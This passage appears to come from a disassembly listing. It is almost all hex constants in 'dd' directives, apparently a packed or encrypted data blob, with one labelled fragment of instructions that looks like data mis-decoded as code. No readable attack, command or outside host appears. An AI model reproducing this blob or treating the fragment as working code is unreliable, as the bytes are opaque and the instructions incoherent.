dd 31F3012h, 1C49CAFBh, 9122A724h, 2837EB02h, 2DF2DCFAh
dd 680485F3h, 0D8AB321Fh, 255BFFB8h, 5417898Ah, 0D1427159h
dd 5FC8775Ah, 0FFE23D84h, 0F9DB22C5h, 0FBED4A3Ch, 0DCEB800Fh
dd 7E6328CBh, 68BE624Ah, 0EB4F700Fh, 9F82F598h, 4E5D278Bh
dd 0A00EB43Ah, 43025080h, 0BB63409Eh, 0B511702h, 822D6874h
dd 49EAE0Fh, 2CB8AD58h, 48B85525h, 662E0234h, 0DA422868h
dd 6290EEA5h, 7BF03F6Fh, 80C7FE00h, 904970EFh, 2CF5E1D6h
dd 795A66D4h, 0ED681728h, 0B276300Fh, 0E239C027h, 3EA9608h
dd 99E5B8F0h, 6C688580h, 6167AB07h, 18DC48A0h, 94050558h
dd 0AB168E34h, 0E1E93602h, 452751E0h, 0E59C31E2h, 0EDBC3BF9h
dd 0F6BA8BDEh, 16B89FC4h, 17824DB7h, 5AB8C0D4h, 0A10BB151h
dd 8DF5F180h, 520DD05h, 9A3A146Fh, 0F020A433h, 0B1250D98h
dd 4309F20Ah, 0E4125037h, 70226D4h, 799655FDh, 0A84E23B2h
dd 6642EACBh, 5B2ED5FFh, 0D109C888h, 2BC80E0h, 0FA613CFCh
dd 389C6B77h, 0F736605Fh, 89799FC7h, 791CBB43h, 0E9D916D5h
dd 0A032BC9Bh, 0CE665A68h, 0EB535FF9h, 0ADECCF25h, 0DAF465DDh
dd 46E7D75Ah, 0D52F0922h, 0EB8E545Ah, 2042D65Ch, 0CA10DDD3h
dd 848E7C1h, 0C8192F8Ah, 0B7DCA4A0h, 0E9A03279h, 49685817h
dd 0E03460BBh, 0EAB08F79h, 201EBD00h, 5045612Fh, 1C7E16B8h
dd 0FA6212C3h, 3ECD9107h, 1EB03F44h, 0C1272FCCh, 0E300D3F6h
dd 9EB0B6Ah, 9E5D50E9h, 0A7422AD3h, 23780097h, 0EBC11A38h
dd 0C225E902h, 0C5246BEAh, 0B47EDAE5h, 0C7AB3098h, 0B2E3EF5Fh
dd 0D018FE96h, 9C11854Ch
dd 206D821Eh, 8AFEED31h, 1E01A526h, 89A8A4D3h, 1F01A445h
dd 5980151h, 4A9E52Eh, 7C3CCB08h, 0E422F960h, 0A91EAB19h
dd 0E42C5FA4h, 0E9855F59h, 8D17D599h, 2A60E961h, 53E3A14h
dd 28E319EBh, 3E1FAB00h, 4D3144C2h, 8790B9C6h, 0B9D0012Dh
dd 729D2116h, 4EFA01FBh, 0C25216E9h, 28606256h, 23B7E2Ch
dd 0E955DFF7h, 20DF5FD6h, 1317621Dh, 1A35BE45h, 83C10F66h
dd 8F3379C1h, 92A3F357h, 407DBA10h, 2A1E1DDBh, 0FACC461Fh
dd 39501662h, 264CF088h, 25C87D75h, 1451E6A0h, 7B3CCE6Ah
dd 3A02F09Fh, 20DA1828h, 0C021AB30h, 91D11F50h, 54454300h
dd 0B1D712Dh, 0E829145Ch, 5D010705h, 0FDED9035h, 0D8097FB4h
dd 1283DC01h, 0B50BFA4Fh, 5600DF47h, 2DC00A9Dh, 0B22CA07Dh
dd 58108D06h, 30CEA5Ah, 3CD2063Ch, 0CA02DAF6h, 9093E913h
dd 0C04CFC69h, 317F6812h, 0F2815B00h, 409A20ADh, 5AD32C21h
dd 0BE4314C6h, 7F5D3903h, 7A054F4Bh, 6E286C8Ah, 4605B9B9h
dd 0E886D096h, 0D652166Dh, 17CF7ACCh, 119A371h, 6FEA3DC6h
dd 0A6B74033h, 6C5AC56Bh, 81F10ABh, 27A75F24h, 1069BF2h
dd 0E517E9DAh, 4FD77755h, 565600C1h, 1E087768h, 365E1F30h
dd 2D716278h, 2C575248h, 19B9A293h, 0CC73FB6Ah, 829FC571h
dd 835413CBh, 0F8E07526h, 7B78D705h, 2D1476DEh, 5E097C07h
dd 55291C1Dh, 609D686Ch, 82CB370Dh, 0B3028950h, 89344D76h
dd 0EFA641F1h, 3D0B3E36h, 0EE00FA11h, 3440FE1h, 0EBA7748h
dd 0F9316370h, 3A8FF0Ch, 6A8B02DFh, 0CD891BD2h, 310EB870h
dd 846BBA5Ch, 1EA5EF5h, 0E4532677h, 69927AFAh, 0B82E0CF3h
dd 64295130h, 47F23E6h, 48E93B80h, 774909F6h, 2218C760h
dd 6840B105h, 0A5D86057h, 0F4BA414Dh, 0E5136396h, 0F9165828h
dd 0C144E8C0h, 0E92F0BF7h, 0A2798936h, 3B6BF183h, 0D067E965h
dd 4A80B33Fh, 0D901FCF8h, 0BF28E161h, 6FF6CCE6h, 0DF06314Eh
dd 625866E7h, 52110C1Ah, 0C5C73BE3h, 0A1CAC103h, 0DC59029Dh
dd 70888940h, 0C11F5FCEh, 119603E2h, 309DA55Ch, 25A47ADFh
dd 9F89CD9Fh, 0BD9C5FDAh, 0C2DD5A0h, 0C114DA01h, 95E907EDh
dd 0EA4C402Eh, 73D03DF9h, 1C09DBFDh, 570106CAh, 4881DA9Ah
dd 202F67A2h, 0D36C7ECDh, 2F68A279h, 0C7466454h, 7015602h
dd 0F0CCE977h, 0F32D05CBh, 0AF45D23Eh, 5B39B4D8h, 4A9DB3B8h
dd 93FE405h, 9CC0C6h, 5FB32B52h, 61E9D689h, 0C243EB9Dh
dd 893A9B4Eh, 0B340425Ch, 50344784h, 3BA0CD50h, 0EC4A6207h
dd 0B6E612DEh, 0E20402FDh, 8063D232h, 2DCD2274h, 0EAB19C5Fh
dd 2F6BD93Bh, 542288A0h, 0CF2A65Ch, 1F43512Bh, 46180E0Ch
dd 3CB81D6Dh, 0AAF9B886h, 164AFDEDh, 0C588A5C0h, 44CC99Dh
dd 896DE101h, 775DEEC1h, 0B85A7949h, 8BA15E9Ch, 95CA68F0h
dd 3FB0EED2h, 1670DD82h, 8C6F197h, 5F13C376h, 123152AEh
dd 2BD9E5D5h, 9A13B1E2h, 3468FE21h, 2E3E30E9h, 75E8F5E5h
dd 0D16BEB0Fh, 5F811CEDh, 8935FDB2h, 7BFAA441h, 165BCE6Bh
dd 0BFF794F5h, 110BBD5Eh, 0B25C2A1Eh, 0BE664203h, 0A0F15A63h
dd 4E438870h, 41762535h, 0EC5C996h, 59278FBFh, 0E90D042Ah
dd 15D19E78h, 7FCD7DFDh, 9D74DBE8h, 0A6241579h, 0F5E47909h
dd 5F2AA094h, 5398C039h, 5C400B58h, 0F8680285h, 41489441h
dd 5D69FF04h, 0EF6C902h, 1E606519h, 532D2F35h, 2DD6C26h
dd 748001B3h, 0AD40E8C1h, 6092FDB1h, 19053E25h, 406BF992h
dd 5E29C50Eh, 589FC886h, 0B43D4BA9h, 1132C383h, 75080858h
dd 1B6ECC22h, 0CD360009h, 513001DCh, 6E418278h, 0DF403F2Eh
dd 0F9A704D3h, 62A07021h, 0BB5E4A08h, 0B73F4D06h, 0FD4F281h
dd 291AE023h, 3754A98h, 244E83Fh, 712B04CEh, 0AFC2604Dh
dd 0F892796Bh, 8F101F6h, 0B5E91E70h, 0D0D352F2h, 5996761h
dd 57C22A82h, 5F9809DAh, 23CAA0Bh, 0EEA70017h, 7D5A9533h
dd 0C0584F50h, 0DDF75F96h, 0DCC0D5E4h, 7AA97441h, 0C616D94Dh
dd 7BBFE4DAh, 84D54297h, 85A85228h, 351278C0h, 0FD30E93Eh
dd 1CC3DF21h, 34972E7Ah, 7FE9C2DFh, 82908E70h, 0B3207290h
dd 500092FDh, 0BB30C450h, 63C88FE3h, 2CC03C4Ch, 62173E18h
dd 255E100Ch, 967D61B8h, 9553BFEDh, 56730503h, 0CC38044Eh
dd 0C4267C18h, 0B8CF9074h, 0C52541A1h, 8C62E008h, 79500118h
dd 141B7735h, 26B06B1Ah, 2DFCE8B8h, 610194FBh, 92D219E9h
dd 88AA5C6Eh, 949CB507h, 5A015712h, 12737641h, 345A5830h
dd 0F1143BDh, 0D1E00EAEh, 0E9FD297Ch, 0B530259h, 575BD901h
dd 2A03196h, 0BB2F6CC0h, 279FFE49h, 870A22DAh, 0BE4BBF5Fh
dd 0E5042A03h, 3BF3B06Ch, 20EB2F03h, 360C44F2h, 1C4DC66Dh
dd 862C18ABh, 5CD40CAEh, 0ED60FD2Eh, 0C27D76AFh, 0E562A36h
dd 0F6E46EEFh, 8D201F9h, 290E9EE1h, 0B5BFE4DFh, 673F61CFh
dd 0E1B4344Ah, 26606B91h, 387E1649h, 0DAE04372h, 3736E5CBh
dd 0E9156079h, 4F977873h, 12D7A1E0h, 0A306B168h, 0D82FD7h
dd 91055972h, 48642729h, 0C72D3F45h, 0B147B4CFh, 16B57981h
dd 1A94B09h, 0BD52DCD2h, 0D5D3009h, 3E0B8279h, 0D1DDC066h
dd 594EB6E5h, 49D72ED3h, 0E02F9060h, 8F6B83Dh, 4A035385h
dd 50103838h, 0B0EEC8F7h, 40BEEC5Bh, 6CD8C516h, 99FACC31h
dd 5EB3C097h, 0EBB80050h, 0D6F1C34h, 0D07E3A2Eh, 0AD60E914h
dd 0F68E0C9h, 3093CB3Eh, 6A5215Ch, 0F40AFB02h, 0E9055BB3h
dd 0C02E0796h, 736E04E3h, 0A5C3BF02h, 2C1E4030h, 0D7E92FEDh
dd 0DF56B6A9h, 0E5392F69h, 0CBBAF12Ah, 0BCE84BDCh, 0D441FBD2h
dd 57A26853h, 56026A66h, 5A764C37h, 15A40E7Eh, 0F9019202h
dd 4349E016h, 2C8D2603h, 11F02F6Ch, 20654548h, 0FF5F163Fh
dd 0C84C3377h, 9FDA194Ah, 0E1B61861h, 719170F6h, 1741885Eh
dd 6ED99FCAh, 0DDA0DDECh, 0B370A717h, 0BD2171h, 0F1DF219h
dd 685B8AAh, 0C26FA2EAh, 10C0BE74h, 0DE18D173h, 0B7E59F29h
dd 22E302BBh, 0E176BB6Dh, 178127AFh, 4C419CC1h, 58C99674h
dd 1F1052A6h, 0D85B27DBh, 2C314C4Bh, 94CCAC4Bh, 24C45E90h
dd 2C441E8h, 98B201BFh
; ---------------------------------------------------------------------------
loc_4F0044: ; DATA XREF: ___:00437A34o
inc dl
leave
retf 0D5EDh
; ---------------------------------------------------------------------------
dw 0A2Fh
dd 588C5E62h, 3B13BBBAh, 48F219A6h, 11477C2h, 7283C40Eh
dd 0A7133FC5h, 17EF8FAAh, 4F57F7E9h, 29213E8Ch, 0ED91C4Fh
dd 0E6DDC97Ch, 0BE7F2DFDh, 0A75E97B1h, 7F48001h, 0E028E320h
dd 0E9C3FEA0h, 7208742Dh, 0F8EB0151h, 295B4A3Bh, 0F5086AFBh
dd 8A0114F7h, 419A432Eh, 0FF1149EFh, 0D2F7D69Fh, 997D0882h
dd 6E112985h, 0B0648010h, 0F6C8FE80h, 0AE04DDD0h, 90490836h
dd 53C1080Ah, 0E9D9F6E0h, 1C80B5A7h, 0B4189ABFh, 0EA053598h
dd 0D6E7E77h, 61B78401h, 0D46F6891h, 1C081A58h, 1A72140Bh
dd 0FEED1820h, 3E38FB29h, 466BC9C1h, 9DDE4038h, 29608D04h
dd 6235E1D2h, 5C317C0Fh, 0C47EE65Dh, 0C34AD818h, 0FDE50167h
dd 0C29A2D1Eh, 0A4EE7DB1h, 5ECA0444h, 5B738BBDh, 666D9729h
dd 0DB801048h, 0C6F4850Fh, 0A024D3h, 0B1B934h, 4B2DC5F3h
dd 0CDB06847h, 3A0F47A9h, 0EFBBEE00h, 0B044CD4Fh, 2E659779h
dd 3DC76884h, 423839BFh, 0B60239C3h, 0D69A4112h, 1634BD00h
dd 0B9217D01h, 364B3E7Bh, 5DA9256h, 2EDE08BBh, 9CE20629h
dd 8798AB2Fh, 0C926312h, 0E081A8B8h, 2B079B6Dh, 0E24BFDE8h
dd 0B1E9C272h, 886BFC0Bh, 0C2825905h, 40C0080Ah, 51EA33h
dd 0ED3E31B9h, 2E1C130h, 0BB624160h, 0CFB2F4F0h, 0A544A730h
dd 40E6B918h, 0E9175908h, 4A900B55h, 5AA457C7h, 72FBB002h
dd 665E309Ah, 0B4A11BE9h, 0C7287E8Dh, 0CD645E9Ah, 4207E491h
dd 0B8EE29C0h, 5DEB71B9h, 0C0C43956h, 2CF6FFE1h, 0C3685001h
dd 604F457Fh, 7941BC2Dh, 952C55ECh, 13C0E09Bh, 0E91B6680h
dd 0DC258AD2h, 0AD6E66A1h, 0F91AF406h, 5980037h, 981F403Ch
dd 0F0EA0687h, 1A436C50h, 1709F23Ch, 0F71F21F8h, 2F43F7DDh
dd 0DA317632h, 1829DC5Fh, 9FBBC8DFh, 54263F13h, 407DA7ACh
dd 0C5BF5F1Eh, 1C0E8019h, 0DCE9728Eh, 0FD2F89BFh, 0BC27D018h
dd 9D5D5480h, 0E9E10079h, 1787193Bh, 816A3CEBh, 61F30161h
dd 0AF0814D2h, 0B219DF04h, 0BCD7F705h, 0EC15C6Dh, 0DE6CA051h
dd 2DCED540h, 4BF6E9B4h, 0D86BF9FDh, 2703AD54h, 905F4851h
dd 12C529EDh, 2831D6E9h, 1C2D880Ch, 62AEF187h, 71DFBBB8h
dd 1804A73Dh, 0BF0E805h, 3E3C1h, 0C3154E94h, 3A199416h
dd 222D6C85h, 9881AF2Eh, 3B58CD5Fh, 40E72568h, 0A04A0AD3h
dd 9007A100h, 6408E96Fh, 546E95D0h, 1B270BA6h, 828E7705h
dd 1F666382h, 2B5012C1h, 0F54D0C0h, 0E9091260h, 0DA844Ch
dd 80A691A0h, 0FE502187h, 846FC6FAh, 0F201A452h, 0D295A6BFh
dd 8F5BA3ACh, 24E0492Dh, 20389BB5h, 0AEBD07C0h, 0A5774829h
dd 9F60BAF8h, 9401B668h, 0D796629Dh, 0C113B2F7h, 57C2D917h
dd 21EB64F1h, 0CA09E922h, 210D223Eh, 0ACD0C5D7h, 0A02E4CEFh
dd 64EF3D9Eh, 99F45022h, 2F77BE95h, 0C80B209h, 383F451Bh
dd 1BBC425Ah, 1544B574h, 0E91F0462h, 3487048h, 5846852h
dd 6D96CCEh, 0DE113913h, 92D6B6D7h, 8DB00F7Ch, 0C8E950ABh
dd 0B9B04h, 7B932558h, 35470FEDh, 71C91B01h, 0B1C73BE3h
dd 0F4221A0Eh, 26127DC4h, 29B0312Fh, 0C0BB92A6h, 1CC4052Bh
dd 0F2FB2316h, 13DE1DCh, 65140267h, 0A1FC900Dh, 0B3C9038h
dd 41345D7Bh, 0D0BF6EF0h, 65FD0EB1h, 0A8A02977h, 90CCA38h
dd 0E53E0795h, 4A593901h, 0B6850429h, 0D7DFF83Bh, 2D0231A9h
dd 3C9129E2h, 7C088FFh, 68575B01h, 8E3647A9h, 0B6055F8Bh
dd 7DDFF18Eh, 0CECA10ADh, 4026543Fh, 15E85FCh, 30AB01D9h
dd 2A367C6Fh, 0E18BEDA9h, 932D53FCh, 27D9C862h, 0E94816B9h
dd 25BAACC4h, 94CB1658h, 283C02B7h, 627D7AAAh, 3AEC774Ah
dd 364E7E04h, 44EF5927h, 16E53E3Dh, 4138F142h, 0DF8A49B9h
dd 0C7011989h, 0BAACCE55h, 0D2F0176h, 0CA814629h, 7A19D9D6h
dd 11EAC82h, 0A880CB28h, 0AA2C5D58h, 3409E2Dh, 2D09307Ch
dd 0DC18E801h, 9E3DBB53h, 21AD12h, 347C05E2h, 104462A0h
dd 0B0F0A9E9h, 52B8DEFEh, 97CAF607h, 68E2BDC1h, 0A5B800D4h
dd 514B5A23h, 3D31EEE1h, 410A81E3h, 529BCD2Fh, 1CC408D5h
dd 9DB90B20h, 0C743E641h, 0F4CDAC02h, 0D7316E80h, 75D0204h
dd 9D74D1F6h, 0AAEC15D4h, 41FA1118h, 0E39F5BDAh, 5AE47011h
dd 93C1A056h, 67991726h, 853CF10Bh, 4FE1F8Bh, 207CDB0h
dd 7420C4B7h, 85B203CDh, 0CF99504h, 0C42B7CFBh, 8213C173h
dd 9E08C0BCh, 3F31D807h, 165B0117h, 0C15B5E1Eh, 6834A6E3h
dd 0D7FD932Ch, 2498984h, 0AB673268h, 30F1403Ah, 0EB2285Ah
dd 7C350BDh, 9BFB34E9h, 62498085h, 2BA7321h, 1EE1B180h
dd 33D38924h, 992D6480h, 0C0DF31FBh, 6020F748h, 0DB9D1C96h
dd 0D7862013h, 0BE70EF54h, 0B5E2685Ah, 0EF5F3D8Bh, 0E95C8250h
dd 65DDB22Ah, 542D3ED2h, 56B905h, 0F377829Eh, 0DE7E890Ah
dd 0B1AA8C79h, 2F7195DDh, 0E9E2C154h, 1CE8FF16h, 6E126CBDh
dd 98B1366h, 4C0D8410h, 8CEBB40Ah, 0BB32E9E1h, 57FA3926h
dd 3831BC19h, 0FB2C4A92h, 0DCEF31E9h, 0CAD68786h, 46987FEh
dd 3EDBEECh, 8599607h, 6D9C9F3h, 0C1BBB542h, 3A75EED5h
dd 90407D38h, 0B9F0C007h, 22677B1Ch, 1562ECF4h, 0CB7667Bh
dd 652CA7C6h, 0C60048ABh, 66B7164h, 35D231E9h, 2C91F181h
dd 0E8D816E5h, 0AC6F3BB3h, 1053C62h, 242B5FEh, 6232F470h
dd 0A50F9328h, 0DC986F6Eh, 0BB1B4022h, 0EB3D4509h, 45A77F0Bh
dd 53D1E2E4h, 0F026EBDDh, 4E20D93Ch, 0D6DA0C5h, 0D40F351Eh
dd 3B98E944h, 0E4162514h, 0B72FA8DAh, 140C12D3h, 9360EDD1h
dd 0C3FE3479h, 2414F404h, 0E1DB0381h, 992E082Fh, 2E3A840Bh
dd 28ABEF88h, 0E73ED05Ah, 80029DC0h, 0CFFEA841h, 0C7DCD7F6h
dd 730404BAh, 0BBDAF9E9h, 0E62AC1E5h, 0F8522E63h, 5720F31Ah
dd 0EA0907C0h, 645B78F4h, 0E9010395h, 610856B7h, 7C5C8940h
dd 3A445C71h, 38D5DC25h, 0E0ACB6AEh, 4E2790F0h, 2F23E860h
dd 0A7B5EF5Eh, 60258B16h, 25932045h, 0BD12BF6Eh, 575E4B60h
dd 449C5898h, 0AF22752Dh, 0BF03B636h, 4B73F1BBh, 0D6A7453Fh
dd 0EA3C745Ah, 42B82A44h, 0A79D63E2h, 0FDA1905Dh, 2C31094Eh
dd 0AF85DAF7h, 2C91CA03h, 6D89FA54h, 0CE475CEh, 0ABB6C14Ah
dd 2376BE92h, 0D0CF8A93h, 2BF49DF8h, 55DCF562h, 0F81F817Bh
dd 54F01816h, 0B0C27288h, 0E1C54E42h, 1FF82EF5h, 742949B1h
dd 4CBD5D44h, 25A9321Eh, 62D58F0Bh, 9A3CD59Bh, 539D1CE8h
dd 1E4AAFCCh, 97F93082h, 1371E577h, 848B5338h, 0B7B001F8h
dd 0F87A167Dh, 659DD781h, 784604CAh, 54B1EA1Ch, 9FC00704h
dd 40031FF6h, 1B7D7F6Eh, 0B3E93B5Fh, 6C3A1507h, 1D41570Bh
dd 0F3D6F54Ah, 9D6DDDAh, 0C708549h, 0DB9731BEh, 3C843279h
dd 509025FFh, 0CBC5B42Eh, 913794D8h, 6F60B1BCh, 0D403C52Dh
dd 710F5C80h, 4D1FCFFBh, 21CDA36Ah, 0AD982A25h, 0C0B80BB0h
dd 897708E0h, 0F014020Ch, 9818E388h, 72045AD5h, 13487012h
dd 0A03FE9E8h, 0BC04BEB0h, 29267E10h, 9F50F0ABh, 7D75B52Dh
dd 0E95DC900h, 0A491FC51h, 163BBF00h, 0BC781B6h, 36115B46h
dd 0CFE688h, 3F350953h, 0A227E945h, 9D9AD5C8h, 0BDF7A84h
dd 0C27BDE59h, 0B900A2D9h, 500612F8h, 18F5C539h, 0C161C79h
dd 891A3435h, 61942966h, 5EB1DD70h, 8B4C640Ch, 3E3C13Eh
dd 0C822CB07h, 60F70F97h, 7FD598D3h, 0F09D6109h, 31503BDh
dd 26E92C5Fh, 0F9BA2EDh, 0BD55575Dh, 80C78309h, 80A4F74Bh
dd 0E9E61370h, 0AD45530Eh
dd 5D1704A6h, 0D0BA404Fh, 88194E74h, 0EDE92B13h, 0D286F7A0h
dd 0B010AA2Ah, 29175206h, 0C701F91Fh, 6FF37307h, 1F1BE7D8h
dd 1F321E76h, 0A220BEFh, 0CA6B1502h, 0E96E2107h, 0AA83D8D0h
dd 8D1DFDE1h, 0D4ADE909h, 725627AAh, 5DD37DD2h, 0CAAB4596h
dd 215A1C30h, 0D71ED727h, 83E719Dh, 66A7B38Dh, 0F2554E55h
dd 0AB84D31Eh, 7F8752A4h, 0BAF609EEh, 51FE5F7Fh, 5383011h
dd 7B0A570Bh, 3575F5F0h, 59849BC4h, 76EF0735h, 0BE5B055Eh
dd 164B4F05h, 1FBD40EFh, 305AD728h, 105BF83Fh, 0C72E8499h
dd 0DF0ABB9h, 3096FEA2h, 0F2407ED7h, 20641FB1h, 0AAF7D2CBh
dd 0BF31F188h, 56970352h, 0A8CE727Ah, 0B7A2228h, 0C7F6A09h
dd 0D5A8D754h, 20E90508h, 5954BEC6h, 57F20374h, 0B7E520Fh
dd 0B3E90212h, 1F68FBA0h, 647A3E2Bh, 0DE6ABE25h, 8131E5F3h
dd 52A29D2h, 6151BBAh, 0DCD14FE9h, 4340DF87h, 0EF3D58E9h
dd 9F42F79Ch, 725B6AABh, 5779F00Bh, 0D98629Ch, 256FEB01h
dd 2DE94B2Ch, 0EEEB27FFh, 0B6F6335Ah, 8296934Ch, 0DFF02887h
dd 0B9F1F14Bh, 6312B3Bh, 943857D7h, 0E863B205h, 7DDD0905h
dd 5874CA50h, 76E888BDh, 0C1215D42h, 0A42A7369h, 859CEB1Ah
dd 7DDCC14Eh, 63E41F7h, 64E74F80h, 0CD1797ECh, 0EAC3B959h
dd 91C9D049h, 7DD30535h, 1A782E9h, 7F572F66h, 2CFB4802h
dd 62B6F9BFh, 36FCF229h, 0E17EFB59h, 71FC2EAFh, 585A59F6h
dd 9FAB9E85h, 0A5B45F5Fh, 31644AA9h, 5D81769h, 22D1BFCh
dd 0DAB09CC6h, 87442041h, 94A2C2h, 9C3D9035h, 0E8AC075Eh
dd 39C8B82Ah, 364D3A68h, 1E655881h, 0A3C12A4Ch, 3165989Eh
dd 0F74E16F4h, 18DEA3EBh, 884FEFE9h, 0CAA28307h, 0CC017BC0h
dd 3CBB32C1h, 0BFF8DA29h, 0D70BDF40h, 0B961C3DEh, 66D51298h
dd 39419C90h, 0EDAB16Fh, 8D284ABEh, 6FB94193h, 0F2C7DAF0h
dd 0DED74844h, 9692EAD6h, 0F9CBAA30h, 6B54F90Ch, 255842C1h
dd 683EDD14h, 0D0BFF58Ch, 772116FFh, 0F3020B1Ch, 3FFABF49h
dd 38665614h, 66E25A36h, 0EA911263h, 0A2058A00h, 29716259h
dd 2F577DF0h, 0A3A1058h, 7405F62h, 12B7D122h, 0FB64DFB2h
dd 32977679h, 0C0095CAFh, 9285E45h, 8CE3810Fh, 0C11FE47Eh
dd 4B360EEFh, 8E7F67BAh, 5B0658ECh, 68510958h, 8B5A6531h
dd 4801AB40h, 1B0490CEh, 0B215DE66h, 13E98341h, 61A84CD5h
dd 1430EB03h, 0A6E16D37h, 6CD02B25h, 175159DCh, 30862B1h
dd 0C2E95001h, 2E5F433Bh, 899EAFCDh, 0E24CADFEh, 689C02Fh
dd 3BB70753h, 33AAE780h, 0C7B194F7h, 4FB34F9h, 36204031h
dd 0F0741F50h, 4EBFEED8h, 28A13997h, 4DE90DEEh, 0FD3810AAh
dd 0E4208A7h, 0B9580BB0h, 0CC31C509h, 73110F12h, 2956F05h
dd 5152F60Bh, 5C2EBE61h, 0E5DADF6h, 7906E92h, 0D7946CF8h
dd 818A084h, 2F4FB91Ch, 2C5567BDh, 12B16E08h, 0FA80F961h
dd 425E1F04h, 5EA9B907h, 648D2E79h, 250C0578h, 71877A5Ah
dd 7E65C1F7h, 0EDD599BAh, 9BA22AF8h, 5019FAD6h, 28FCB40Ah
dd 737EB5E3h, 4598336Fh, 0ACE85B30h, 8BAEA5ACh, 3BE984C9h
dd 668F2D0h, 379B2F03h, 219067Ch, 0F83E290Fh, 0CD89A132h
dd 0B9D73B22h, 89492D3Bh, 185FE7Dh, 2765552Ch, 0EDD22A29h
dd 0AEEEC15Eh, 61819B2Fh, 0AF18E9C7h, 3A574CADh, 2C1A5FF3h
dd 0D7222B75h, 16920A47h, 57EF3592h, 6675552Bh, 849D94D8h
dd 0BC3F6768h, 44FDC1DAh, 36A429Ch, 45086B74h, 0F0E5809Ch
dd 7661D461h, 0B17B0B0Ch, 0EB6860h, 1E2BB6F2h, 0C15BDA09h
dd 6802E205h, 89F320F0h, 2F2AC701h, 0AFC20956h, 37D1BBh
dd 6658E108h, 0C741B68h, 1B435C0h, 9CB514E9h, 0CA5A535Ch
dd 6594A5A2h, 3D920105h, 4C68F264h, 0FCA17E5Bh, 425F30ACh
dd 0C608A597h, 0AE128CA2h, 20539DDCh, 35402E12h, 5AD01288h
dd 771EFC8Ah, 0E906DA94h, 9595454Fh, 68617BF9h, 844D53A2h
dd 0DD54D941h, 4CEEE77Ah, 4BC34F0Ah, 738776BDh, 0D4DF5C66h
dd 4506C300h, 0CB012E35h, 802BAA2h, 0BB8A8959h, 44CF0263h
dd 607F7C76h, 0A0D00108h, 240305E1h, 2FD656A1h, 6A488841h
dd 0AC94DA87h, 715BB7D2h, 0BFD1A5CDh, 671A16h, 5AC0FD82h
dd 51E4C0BFh, 0E580E7B5h, 0C5FE371Dh, 0AC9BF54Eh, 0BF680ACDh
dd 2CC832C8h, 0D10EDA5Ah, 0C9D80E70h, 0E9BE015Bh, 548FE3CCh
dd 5278B7B5h, 0B60B52D1h, 86D6F61Ch, 5C06D9E8h, 1649D2E9h
dd 5B53BE4Eh, 37889E5Fh, 0E92F2482h, 956C1EF5h, 729DDC16h
dd 40294290h, 3612769Fh, 0DAD075BAh, 17F5200Ah, 0B026E911h
dd 0C6C453AAh, 27AF98DAh, 30BBA43Fh, 2C65B7C6h, 13A97220h
dd 523B98Eh, 0CBE5C14h, 0CF48A0BBh, 1E38D00Eh, 0F3F7C02Ah
dd 13DA82E3h, 1F5FFB89h, 577F052Eh, 4202F163h, 7CCAC317h
dd 0A7D8F161h, 0C9AB595Bh, 12421C7Dh, 0B7710568h, 69B88EAAh
dd 0C11707D2h, 2D68171Ch, 0BCFC42D4h, 601DE970h, 2DAD0AE2h
dd 0A3A6291h, 36C48B32h, 0D8E38641h, 0E80883CEh, 489576E3h
dd 5285932h, 5F648207h, 0E90425CFh, 0AAF492BBh, 70B7A046h
dd 97AF774Fh, 16764962h, 8AD7617Ah, 2C58994Ch, 25A85452h
dd 0D72DC400h, 9095DF7Ah, 0C43A64BEh, 64AAD03Bh, 70AFFB53h
dd 34EDE926h, 0FDEAB3C0h, 0B819A375h, 84824A36h, 63CCFF38h
dd 6CC2BF6Ah, 2C408EF1h, 5EB5E936h, 1E264C7Ch, 38BAA089h
dd 766B3C91h, 0F0FE5020h, 83C0D9B5h, 90A3277h, 932303E9h
dd 0A9A88F5Bh, 70035ACBh, 143C75F2h, 0CF1E4B5Ch, 0D11588h
dd 0FE0E482Dh, 0F05C011Ch, 25084240h, 0A355945Eh, 0AB3CC98Dh
dd 4D99A32Eh, 7FD1026Ch, 0A52915A9h, 0A4F0481h, 6CCB015Bh
dd 0F1E7F448h, 0C2E2F8F3h, 4CA704BDh, 701C0507h, 0C5313560h
dd 0DB603EF8h, 8719C25Fh, 0C296E47h, 7DFA6382h, 921148D7h
dd 5C1F202Ah, 7F4AF10Fh, 0A2F28F61h, 0E18208D9h, 8A3AE6C2h
dd 856359B2h, 0DDFABEF7h, 3931EC57h, 3121ECB5h, 451D624Eh
dd 79D12BCDh, 0A9070A34h, 3783415Dh, 5AB97BF8h, 54FFD29h
dd 58850431h, 8CEE88E1h, 198A1C08h, 0A167C422h, 138B325Ah
dd 67FF4294h, 67D3A25Dh, 8550F574h, 0E58CBC94h, 771B4456h
dd 0DFF7053Eh, 16DA2BC0h, 86095F61h, 5BFC175Ch, 0E25A7825h
dd 0D5CA77B6h, 1E13035Fh, 95EE4EABh, 0CA81AA25h, 7360096Fh
dd 476E2DCDh, 819CF56h, 85F60409h, 0C3815187h, 81045EF2h
dd 0E072D31Dh, 0A9BC292Ah, 0D028F600h, 0F901508Dh, 0FCD2DD38h
dd 0F2E9F37Dh, 0B7526BB4h, 8820FFF9h, 66D55C41h, 5A082507h
dd 0DEF4596Bh, 484591D5h, 1C70FA7h, 704E4DDh, 0B3BA46C4h
dd 4C80965Fh, 4E796853h, 0D24CF854h, 6B40A40Eh, 4186007Dh
dd 8381E6E9h, 0C0C4FEB8h, 0A06E430h, 0E629EC80h, 0ECD47BCCh
dd 5E0CC207h, 447867E9h, 3952BF1Fh, 0D2297249h, 21970B53h
dd 175E5385h, 0C2A008A0h, 8E17097Ch, 0E7014B3Ch, 69955A1Eh
dd 24783424h, 0EB27B94h, 676C77ECh, 66121F18h, 3E1434CDh
dd 854C760Bh, 58142071h, 7727265Ch, 86CD04D6h, 5F8B8E3Fh
dd 0FB26B7F8h, 295A842Eh, 1617CBF7h, 4201D701h, 4E05314Ch
dd 7F1F27Eh, 20246196h, 22D5F160h, 0AA6D589Ah, 46607801h
dd 7FF9295Fh, 0CF2FBBCBh, 0CD02B6C2h, 19C165AEh, 850328EEh
dd 0DAAE3C28h, 5BDC19C8h, 0C56B2912h, 0AE0B853Eh, 5F584232h
dd 8CD69D78h, 279B55B8h, 7D5332F8h, 0B23F82F1h, 0D51A8F07h
dd 0D241DBCAh, 80BE0588h
dd 3209D671h, 4FB3B40h, 0E97F7A29h, 0B5FAE099h, 5FB63117h
dd 84978E0Fh, 580BA21Fh, 7F7291FCh, 0CDBC391Ch, 48116885h
dd 0E97130EBh, 12C0C521h, 0A743D8BFh, 0DCBB3117h, 6DFB290Bh
dd 46567C6Ch, 0D2387B37h, 42314F82h, 993AEC26h, 41C56F93h
